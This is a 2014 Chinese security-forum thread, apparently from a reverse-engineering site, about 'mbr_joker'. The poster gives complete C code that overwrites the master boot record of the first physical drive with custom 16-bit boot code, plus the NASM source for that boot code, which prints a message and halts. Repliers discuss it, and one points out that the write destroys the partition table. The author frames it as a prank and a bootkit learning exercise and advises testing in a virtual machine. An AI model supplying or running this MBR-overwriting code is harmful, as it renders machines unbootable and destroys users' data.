首页
社区
课程
招聘
[旧帖] [原创]mbr_joker 0.00雪花
发表于: 2014-1-31 02:49 2593

[旧帖] [原创]mbr_joker 0.00雪花

2014-1-31 02:49
2593
#include<stdio.h>
#include<tchar.h>
#include<windows.h>
BYTE MbrCode[512] = {
0XBE, 0X18, 0X7C, 0X8A, 0X04, 0X83, 0XC6, 0X01,   0X3C, 0X00, 0X74, 0X09, 0XB4, 0X0E, 0XBB, 0X0F,
0X00, 0XCD, 0X10, 0XEB, 0XEE, 0XF4, 0XEB, 0XFD,   0X0A, 0X0A, 0X20, 0X20, 0X57, 0X65, 0X6C, 0X63,
0X6F, 0X6D, 0X65, 0X20, 0X74, 0X6F, 0X20, 0X70,   0X65, 0X64, 0X69, 0X79, 0X20, 0X2C, 0X20, 0X57,
0X65, 0X6C, 0X63, 0X6F, 0X6D, 0X65, 0X20, 0X74,   0X6F, 0X20, 0X4D, 0X61, 0X6C, 0X6C, 0X6F, 0X63,
0X46, 0X72, 0X65, 0X65, 0X21 };

BOOL WriteMbr(IN BYTE code[])
{
    HANDLE hDev = CreateFile(_T("\\\\.\\PhysicalDrive0"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if ( INVALID_HANDLE_VALUE == hDev)
                return FALSE;

    DWORD dwBytes = 0;
    WriteFile(hDev,code,512,&dwBytes,0);
    CloseHandle(hDev);
    return TRUE;
}
int main()
{
    MbrCode[510] = 0x55;
    MbrCode[511] = 0xAA;

    BOOL bFlag = WriteMbr(MbrCode);
   
    printf( "%s\n",(bFlag==TRUE?"写入成功!":"写入失败!") );

    return 0;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (21)
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
2
友情提示,请在虚拟机中运行,且运行前要做好虚拟机快照。

xp下测试成功,win7下可能需要管理员权限才可以成功(只是推测,因为win7下没试过写mbr操作)。
2014-1-31 02:57
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
3
请在虚拟机中运行,且运行前要做好虚拟机快照。
2014-1-31 03:00
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
4
结果是啥,没人说下吗?好歹让我知道你们是否测试成啊。
2014-2-1 08:14
0
雪    币: 65
活跃值: (545)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
没人回复,好不开心 //(ㄒoㄒ)//
2014-2-1 22:30
0
雪    币: 37
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
此贴质量差。一头雾水!
2014-2-8 15:30
0
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
7
谢谢lz分享
2014-2-8 17:20
0
雪    币: 1904
活跃值: (48)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
今天刚买了个剔透的电推子,准备自己剔透。
2014-2-8 17:24
0
雪    币: 2
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
楼主发都太少了,看着像gh0st里面保护版权都代码
2014-2-9 01:24
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
10
会C语言不,这么言简意赅的代码被你说的一无是处,很不开心
2014-2-10 23:32
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
11
纯原创。后来在一前辈的指引下看过gh0st的KillMBR函数,不过这是发完帖子之后的事了。如果是你写mbr,你也会像我这样写。实际上我最初的写mbr的代码参考的是msdn上的。

现在上床了,用的手机回的帖子。改日把汇编部分代码,和详细制作流程贴出来让大家瞅瞅。
2014-2-10 23:48
0
雪    币: 7
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
这个有什么功能啊?
2014-2-11 02:06
0
雪    币: 69
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
这肯定不能直接写么,你的分区表信息不一样,写完文件都会丢失。
应该先fread(buffer,512,1,fd);写完在恢复回去。
等待你的汇编代码。。。
2014-2-11 09:46
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
14
mbr_joker,顾名思义,指的就是通过修改mbr而达到效果的的一个玩笑程序。
具体是什么功能根据提示编译运行就好了(不要忘了重启虚拟机),这是我故意卖的关子。
2014-2-11 22:26
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
15
不能恢复啊,恢复回来我怎么看到效果?
2014-2-11 22:27
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
16
相关资料

关于读写mbrFor example, to open a handle to the logical drive A: with CreateFile, specify \\.\a:. Alternatively, you can use the names \\.\PhysicalDrive0, \\.\PhysicalDrive1, and so on, to open handles to the physical drives on a system.
http://msdn.microsoft.com/en-us/library/aa363216.aspx

msdn给的样例代码:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa363147(v=vs.85).aspx

说白了,“读写mbr”就是把"\\.\PhysicalDrive0"(一般的个人电脑就一个磁盘,即就一个mbr,所以0就是的了)当作普通文件CreateFile就可以了。
2014-2-11 22:50
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
17
mbr_joker

原理
电脑启动的第一步是把引导区代码(就是mbr在的那个扇区)放到内存的0x7c00处,然后跳转到内存0x7c00执行这段引导代码加载osloader,osloader再把操作系统加载起来。
因此,我的目标就是修改这段引导代码,让开机引导按照我的意思来。(没有特别的意义,纯粹是觉得好玩,所以称之为joker。也不是完全没有意义,写操作系统,bootkit等都需要关注这个内容,所以这里也可以算是简单的探索和学习。题外话,写mbr是不被杀软允许的。)

参考资料:
《自己动手写操作系统》,于渊
《30天自制操作系统》,川合秀实 (强烈推荐)
2014-2-11 23:18
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
18
boot.asm:

        ORG     0x7c00          ;指明程序的装载地址

        MOV     SI,msg
putloop:
        MOV     AL,[SI]
        ADD     SI,1            ; 往SI加1
        CMP     AL,0
        JE      fin
        MOV     AH,0x0e         ; 显示一个文字
        MOV     BX,15           ; 指定字符颜色
        INT     0x10            ; 调用显卡BIOS
        JMP     putloop
fin:
        HLT                     ; 让CPU停止,等待指令
        JMP     fin             ; 无限循环
msg:
        DB      0x0a, 0x0a      ; 换行2次
        DB      "  Stay hungry,stay foolish.  --Steven Jobs "
        DB      0
   
        TIMES   510-($-$$) db 0   ;
   
        DB      0x55, 0xaa

编译命令:nasm boot.asm -o boot.img

//mbr_joker.cpp
#include<stdio.h>
#include<tchar.h>
#include<windows.h>
BYTE MbrCode[512] = {
0XBE, 0X18, 0X7C, 0X8A, 0X04, 0X83, 0XC6, 0X01,   0X3C, 0X00, 0X74, 0X09, 0XB4, 0X0E, 0XBB, 0X0F,
0X00, 0XCD, 0X10, 0XEB, 0XEE, 0XF4, 0XEB, 0XFD,   0X0A, 0X0A, 0X20, 0X20, 0X53, 0X74, 0X61, 0X79,
0X20, 0X68, 0X75, 0X6E, 0X67, 0X72, 0X79, 0X2C,   0X73, 0X74, 0X61, 0X79, 0X20, 0X66, 0X6F, 0X6F,
0X6C, 0X69, 0X73, 0X68, 0X2E, 0X20, 0X20, 0X2D,   0X2D, 0X53, 0X74, 0X65, 0X76, 0X65, 0X6E, 0X20,
0X4A, 0X6F, 0X62, 0X73};

BOOL WriteMbr(IN BYTE code[])
{
    HANDLE hDev = CreateFile(_T("\\\\.\\PhysicalDrive0"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if ( INVALID_HANDLE_VALUE == hDev)
                return FALSE;

    DWORD dwBytes = 0;
    WriteFile(hDev,code,512,&dwBytes,0);
    CloseHandle(hDev);
    return (512==dwBytes?TRUE:FALSE);
}
int main()
{
    MbrCode[510] = 0x55;
    MbrCode[511] = 0xAA;

    BOOL bFlag = WriteMbr(MbrCode);
   
    printf( "%s\n",(bFlag==TRUE?"写入成功!":"写入失败!") );

    return 0;
}
上传的附件:
2014-2-12 00:18
0
雪    币: 69
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
[QUOTE=Jtian;1260489]boot.asm:

        ORG     0x7c00          ;指明程序的装载地址

        MOV     SI,msg
putloop:
        MOV     AL,[SI]
        ADD     SI,1          ...[/QUOTE]

开始以为你只是随便写了一段Mbr,原来你是写了段执行程序,呵呵挺有创意的。
2014-2-12 09:10
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
20
哈哈哈~
2014-2-12 19:02
0
雪    币: 35
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
这个很不开心的调调 很像一个朋友啊。方法是对的,给予LZ以肯定和膜拜的眼光。
2014-4-5 10:54
0
雪    币: 2047
活跃值: (4101)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
22
[QUOTE=Jtian;1260489]boot.asm:

        ORG     0x7c00          ;指明程序的装载地址
        mov ax, cs
        mov ds, ax
        mov es, ax


        MOV     SI,msg
putloop:
        MOV     AL,[SI]
        ADD     SI,1          ...[/QUOTE]

把几个段寄存器设置下,否则代码不稳定。
2016-2-29 12:36
0
游客
登录 | 注册 方可回帖
返回
//